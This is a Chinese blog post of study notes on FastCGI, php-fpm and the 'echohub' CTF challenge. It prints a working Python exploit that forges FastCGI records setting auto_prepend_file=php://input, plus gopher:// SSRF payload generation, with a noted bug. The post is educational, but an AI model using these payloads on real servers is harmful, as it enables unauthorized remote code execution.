Xi4or0uji's blog

php-fpm

字数统计: 5.6k阅读时长: 27 min
2019/07/11 Share

前言

前段时间不是出题就是给队内wiki整理资料,自己学习倒是懒了下来,摸了摸了,回头看来一下之前在比赛碰到几次,但是还没深入研究的,总结一下做个笔记

概念

官方对它的定义是FastCGI 进程管理器(FPM),用来替换PHP FastCGI的大部分附加功能,缓解高负荷网站的压力,具体解释可见官网https://www.php.net/manual/zh/install.fpm.php
那么问题来了,fastcgi又是什么呢?其实phper肯定都用过它,只不过可能没有深入去了解而已

Fastcgi

它其实就是一个通信协议,跟http那些一样的,都是进行数据交换的一种通道
我们都知道http协议是浏览器和服务器中间件进行数据交换用的协议,类似的,fastcgi就是服务器中间件和某个语言的后端进行数据交换所使用的协议了,和http协议一样,fastcgi协议也是有消息头和消息体的
为什么会有这个协议呢?一开始服务器只需要处理html那些静态的页面,但是随着时间的发展,出现了php那些动态的语言,所以就需要解释器了,可是解释器怎么跟服务器进行通信呢,于是就出现了cgi协议,可是后来的网站越做越大,服务器每次收到一个请求都需要去fork一个cgi进程,占用资源太大,于是就出现了改良版本,就是fastcgi,每次处理完请求后,不会kill掉这一个进程,继续保留这个进程,让这个进程一次处理多个请求
但是需要注意一点,Apache把PHP作为一个模块集成到Apache的进程(httpd)中运行,这种mod_php的运行模式运用的不是php-cgi,而Nginx服务器则是通过fastcgi进行php通信的

消息头

主要消息头有

1
2
3
4
Version: 用于表示 FastCGI 协议版本号。
Type: 用于标识 FastCGI 消息的类型 - 用于指定处理这个消息的方法。
RequestID: 标识出当前所属的 FastCGI 请求。
Content Length: 数据包包体所占字节数。

消息类型

1
2
3
4
5
6
BEGIN_REQUEST: 从 Web 服务器发送到 Web 应用,表示开始处理新的请求。
ABORT_REQUEST: 从 Web 服务器发送到 Web 应用,表示中止一个处理中的请求。比如,用户在浏览器发起请求后按下浏览器上的「停止按钮」时,会触发这个消息。
END_REQUEST: 从 Web 应用发送给 Web 服务器,表示该请求处理完成。返回数据包里包含「返回的代码」,它决定请求是否成功处理。
PARAMS: 「流数据包」,从 Web 服务器发送到 Web 应用。此时可以发送多个数据包。发送结束标识为从 Web 服务器发出一个长度为 0 的空包。且 PARAMS 中的数据类型和 CGI 协议一致。即我们使用 $_SERVER 获取到的系统环境等。
STDIN: 「流数据包」,用于 Web 应用从标准输入中读取出用户提交的 POST 数据。
STDOUT: 「流数据报」,从 Web 应用写入到标准输出中,包含返回给用户的数据。

交互过程

既然上面都讲了那就顺便把交互过程也讲了(菜鸡好啰嗦啊……..

1
2
3
4
首先,虽然服务器收到用户的请求,但是请求的处理都是交给web应用完成的。服务器会尝试通过套接字(unix或tcp)连接到fastcgi进程。  
fastcgi进程查看接收到的连接,选择是接收还是拒绝连接,接收的话就去标准流中读数据包。
如果fastcgi进程在指定的时间没有成功接收到连接,,在请求失败,否则服务器发送一个包含唯一的RequestID的BEGIN_REQUEST类型的信息给fastcgi进程,通过这一个id去区别该请求,然后,服务器发送任意数量的PARAMS类型信息到fastcgi进程,发送完毕的时候发个空的PARAMS进行确认和关闭流。同时,如果用户发送了POST数据的话,服务器会将它写进标准流发给fastcgi进程,当POST数据发送完时,也是发送一个空的STDIN来关闭流。
当fastcgi进程在接收到BEGINREQUEST类型的数据包时,可以通过响应ENDREQUEST去拒绝这个请求,也可以接收和处理它。如果接收,fastcgi进程就会将等待接收的所有的PARAMS和STADIN,处理请求并将返回的结果写进STDOUT,处理完成后,发个空包去关闭流,同时发个END_REQUEST类型的信息给服务器,告诉他是否发生错误异常。

php-fpm

介绍了fastcgi,那么php-fpm又是什么呢?其实就是一个fastcgi协议的解析器,Nginx等服务器的中间件将用户请求按照fastcgi规则打包好后通过tcp传给的就是php-pfm
过程如下:

fpm进程包含master进程和worker进程,master进程负责监听,而worker进程嵌入了php解释器,负责处理php代码

tcp模式下的php-fpm未授权访问攻击

因为fpm对两个进程通信没有安全性验证,所以如果我们伪造一个fastcgi规则封装的数据给fpm解析的话,自然他也是会进行解析的,所以这个时候就可以造成任意代码执行漏洞了
我们先看fastcgi协议封装的数据格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
/* Header */
unsigned char version; // 标识fastcgi协议版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

php解释器解析了fastcgi头以后,拿到了contentLenght,然后在tcp流里面读大小等于contentLength的数据,就拿到body的内容
至于padding,则是由paddingLenght去指定长度的,若不需要padding,则将paddingLength置为0
type则要看下图

type设置为4的时候,设置环境变量的请求中就会有如下值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

php-fpm会执行SCRIPT_FILENAME所指的文件,但是php5以后fpm增加了security.limit_extensions的选项,导致我们只能控制php-fpm执行php文件

1
2
3
4
5
6
7
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

现在我们可以控制任意一个php文件,但是内容还不是我们能可控制的额,这就要用到另一个参数了,fastcgi会将SCRIPT_FILENAME的文件交给worker进程解析,这个过程是没有办法控制变量的,但是php-fpm可以设置环境变量

1
2
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

先去看一眼php配置手册

所以我们按照如上方法设置环境变量的话,就能让php脚步执行php://input的值,因此我们就能就行任意代码执行了,那么恶意的数据放在哪呢,当然就是在fastcgi协议的body里面了
讲到这里,接下来我们就是要去写脚本了
原理其实就是写一个fastcgi的客户端,然后修改发送数据成恶意代码就行
菜鸡搭了半天docker搭不起来,最后只能用官方的php-fpm镜像去搭建了
接下来就用ph牛的脚本打过去

unix套接字模式下的php-fpm攻击

既然tcp模式下可以进行php-fpm攻击,那么我们尝试一下unix套接字模式下是否可以进行攻击呢
这个知识点直接用一个例题进行讲解,就是*ctfechohub

试一下url/?source=1可以拿到源码

但是解码出来是乱码,其实就是一个混淆脚本
大佬们都是ida直接动态调试出来,菜鸡太菜了,只能找个解密网站将它解密,出来源码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<?php
require_once 'sandbox.php';
$seed = time();
srand($seed);
define("INS_OFFSET",rand(0x0000,0xffff));
$regs = array(
'eax'=>0x0,
'ebp'=>0x0,
'esp'=>0x0,
'eip'=>0x0,
);
function aslr(&$value,$key)
{
$value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);
function handle_data($data){
$data_len = strlen($data);
$bytes4_size = $data_len/4+(1*($data_len%4));
$cut_data = str_split($data,4);
$cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"\x00");
foreach ($cut_data as $key=>&$value){
$value = strrev(bin2hex($value));
}
return $cut_data;
}
function gen_canary(){
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$c_1 = $chars[rand(0,strlen($chars)-1)];
$c_2 = $chars[rand(0,strlen($chars)-1)];
$c_3 = $chars[rand(0,strlen($chars)-1)];
$c_4 = "\x00";
return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}
}
Class stack{
private $ebp,$stack,$esp;
public function __construct($retaddr,$data) {
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*4);
$this->stack[$this->ebp + 0x4] = dechex($retaddr);
if($data != NULL)
$this->pushdata($data);
}
public function pushdata($data){
$data = handle_data($data);
for($i=0;$i<count($data);$i++){
$this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
check_canary();
}
}
public function recover_data($data){
return hex2bin(strrev($data));
}
public function outputdata(){
global $regs;
echo "root says: ";
while(1){
if($this->esp == $this->ebp-0x4)
break;
$this->pop("eax");
$data = $this->recover_data($regs["eax"]);
$tmp = explode("\x00",$data);
echo $tmp[0];
if(count($tmp)>1){
break;
}
}
}
public function ret(){
$this->esp = $this->ebp;
$this->pop('ebp');
$this->pop("eip");
$this->call();
}
public function get_data_from_reg($regname){
global $regs;
$data = $this->recover_data($regs[$regname]);
$tmp = explode("\x00",$data);
return $tmp[0];
}
public function call()
{
global $regs;
global $plt;
$funcaddr = hexdec($regs['eip']);
if(isset($_REQUEST[$funcaddr])) {
$this->pop('eax');
$argnum = (int)$this->get_data_from_reg("eax");
$args = array();
for($i=0;$i<$argnum;$i++){
$this->pop('eax');
$argaddr = $this->get_data_from_reg("eax");
array_push($args,$_REQUEST[$argaddr]);
}
call_user_func_array($plt[$funcaddr],$args);
}
else
{
call_user_func($plt[$funcaddr]);
}
}
public function push($reg){
global $regs;
$reg_data = $regs[$reg];
if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
$this->stack[$this->esp] = $reg_data;
$this->esp -= 4;
}
public function pop($reg){
global $regs;
$regs[$reg] = $this->stack[$this->esp];
$this->esp += 4;
}
public function __call($_a1,$_a2)
{
check_canary();
}
}
if(isset($_POST['data'])) {
$phpinfo_addr = array_search('phpinfo', $plt);
$gets = $_POST['data'];
$main_stack = new stack($phpinfo_addr, $gets);
echo "--------------------output---------------------</br></br>";
$main_stack->outputdata();
echo "</br></br>------------------phpinfo()------------------</br>";
$main_stack->ret();
}

接下来就是源码审计了
出题的师傅tql,这是一个用php写的栈,orz
首先看到一个沙箱

1
2
3
4
5
foreach ($func as $f){
if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}

先看sandbox.php可以看到,只要函数名包含了fileopenreadwrite等字符就会被禁用
同时也将那些内置的php函数名称存储在$func变量中

1
$func = get_defined_functions()["internal"];

接着审计index.php,文件开头是以当前时间作为种子进行随机数播种

1
2
$seed = time();
srand($seed);

然后将沙箱的那个$func转化为地址=>函数名的$plt数组,而且开启alsr保护,实现键值随机

1
2
3
4
5
6
7
function aslr(&$value,$key)
{
$value = $value + 0x60000000 + INS_OFFSET + 1 ;
}
$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);

栈内初始化的时候会有canary机制,在栈内随机初始一个$canary,用来检测栈是否缓冲区溢出
栈内压入局部变量的时候会校验当前栈内的$canary$canarycheck是否一致,$canary被覆盖了就会报错,然后程序就会退出,因此我们覆盖的时候要保证$canary不被覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function gen_canary(){
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
$c_1 = $chars[rand(0,strlen($chars)-1)];
$c_2 = $chars[rand(0,strlen($chars)-1)];
$c_3 = $chars[rand(0,strlen($chars)-1)];
$c_4 = "\x00";
return handle_data($c_1.$c_2.$c_3.$c_4)[0];
}
$canary = gen_canary();
$canarycheck = $canary;
function check_canary(){
global $canary;
global $canarycheck;
if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}
}
Class stack{
private $ebp,$stack,$esp;
public function __construct($retaddr,$data) {
$this->stack = array();
global $regs;
$this->ebp = &$regs['ebp'];
$this->esp = &$regs['esp'];
$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
global $canary;
$this->stack[$this->ebp - 0x4] = &$canary;
$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
$this->esp = $this->ebp - (rand(0x20,0x60)*4);
$this->stack[$this->ebp + 0x4] = dechex($retaddr);
if($data != NULL)
$this->pushdata($data);
}
}

phpinfo函数的地址被默认放在ebp+0x4,也即是函数结束后eip的下一跳的地址,然后去$plt映射表找到函数名,传给call_user_func执行,所以正常的交互都是返回phpinfo的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function call()
{
global $regs;
global $plt;
$funcaddr = hexdec($regs['eip']);
if(isset($_REQUEST[$funcaddr])) {
$this->pop('eax');
$argnum = (int)$this->get_data_from_reg("eax");
$args = array();
for($i=0;$i<$argnum;$i++){
$this->pop('eax');
$argaddr = $this->get_data_from_reg("eax");
array_push($args,$_REQUEST[$argaddr]);
}
call_user_func_array($plt[$funcaddr],$args);
}
else
{
call_user_func($plt[$funcaddr]);
}
}

web蒟蒻一脸懵逼,大概理解过来就是写栈,但是注意canary不要也覆盖过去,然后绕过aslr获取利用恶意函数的地址,控制返回地址,调用恶意函数进行命令执行
接下来就是解题了,首先我们先注意一点,aslr和canary的初始化都是根据随机数进行的,而随机数的种子则是请求的时间time,所以这只是一个伪随机数,我们可以利用它去预测函数地址
curl一下过去发现时间是跟本地时间一样的,因此我们可以对rand函数产生的随机数进行预测,使alsr和canary都失效
菜鸡还是太菜了,脚本写了执行不成功,就不贴了
突然发现前面说了一大堆都是栈溢出漏洞(捂脸,那么接下来就是php-fpmunix套接字攻击漏洞
php文件如下

1
2
3
4
<?php
$sock = stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));

可以看到设置了unix模式,同样的,配置文件也设置套接字模式,这个时候启动php-fpm就会发现监听服务已经换成socket监听了
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse
import base64

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
#return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

# 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
#self.sock.send(request)
#self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
#self.requests[requestId]['response'] = ''
#return self.__waitForResponse(requestId)
return request

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
# 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
response = client.request(params, content)
print(force_text(response))

# request_ssrf = urlparse.quote(client.request(params, content))
# print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)
request_ssrf = urlparse.quote(client.request(params, content))
print (base64.b64encode(client.requests(params, content)))
print ("gopher://127.0.0.1:" + str(args.port) + '/_' +request_ssrf)

这里有个bug,菜鸡也不太会改,等日后水平上去了可能才能改得动(捂脸

tcp模式下ssrf攻击本地的php-fpm

我们记得ssrf攻击有个是利用gopher://进行的攻击的方法
URL: gopher://<host>:<port>/<gophar_path>_后接TCP数据流
因为gopher协议可以直接发送tcp协议流,所以我们可以直接将数据流进行urlencode编码然后构造代码
利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
#return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

# 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
#self.sock.send(request)
